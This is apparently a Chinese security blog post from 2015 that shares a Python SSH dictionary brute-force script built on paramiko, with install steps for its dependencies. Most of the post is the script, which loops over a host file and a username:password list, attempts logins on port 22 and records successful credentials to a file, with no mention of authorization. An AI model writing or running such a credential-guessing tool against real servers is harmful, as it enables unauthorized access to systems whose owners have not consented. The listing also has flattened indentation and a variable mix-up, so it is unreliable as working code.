Finished 2015/03/23 by Robot [blog.sec-lab.org]
由于工作需要,利用python编写了SSH的字典爆破的小 程序,这里分享给大家.
由于很多情况下python默认没有安装paramiko模块,这里顺带说下我的安装方法把:
Python中使用SSH需要用到OpenSSH,而OpenSSH依赖于paramiko模块,而paramiko模块又依赖于pycrypto模块,因此要在Python中使用SSH,则需要先安装模块顺序是:
pycrypto -> ecdsa -> paramiko
1.pyCrypto
现在比较幸运,官方已经发布了针对python各个版本的Window版本了,直接下载安装msi就行,地址:http://www.voidspace.org.uk/python/modules.shtml#pycrypto
2.ecdsa
ecdsa官网,下载完后解压,进入目录执行
python setup.py install
3.paramiko
最后安装这个和安装ecdsa一样,这里不废话,给链接paramiko下载
#-*- coding: utf-8 -*-
#!/usr/bin/python
import paramiko
import time
import os
import threading
def WriteLogToFile(logtxt):
LogFile ="success.txt"
hwrite=open(LogFile,'a')
log=("%s %s\r\n" % (time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())),logtxt))
hwrite.write(log)
hwrite.close()
def ConnSSH(Host,Port,Username,Pass):
ssh = paramiko.SSHClient()
try:
paramiko.util.log_to_file('ssh.log')
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(Host,Port,Username,Pass,timeout=5)
stdin,stdout,stderr=ssh.exec_command('exit')
print stdout.read()
Logstr=("[+]Login [%s] With %s:%s Success!\n"%(Host,User,Pass))
WriteLogToFile(Logstr)
return True
except Exception as e:
Logstr=("[-]Login [%s] With %s:%s,%s\n"%(Host,User,Pass,e))
print Logstr
ssh.close()
return False
if __name__=='__main__':
HostFile = "host.txt"
UserPassFile = "up.txt"
Port = 22
########################
#Test Data
#Username = "root"
#Pass = "password"
#Host="127.0.0.1"
########################
hHostFile = open(HostFile)
ArrayHosts = hHostFile.readlines()
hHostFile.close()
hUPFile = open(UserPassFile)
ArrayUserPass = hUPFile.readlines()
hUPFile.close()
for Host in ArrayHosts:
Host = Host.strip('\n')
for UserPass in ArrayUserPass:
arr = UserPass.split(":")
User = arr[0]
Pass = arr[1].strip('\n')
# start Connect SSH
if ConnSSH(Host,Port,User,Pass) == True :
break
#HThread = threading.Thread(target=ConnSSH,args=(Host,Port,User,Pass));
#HThread.start()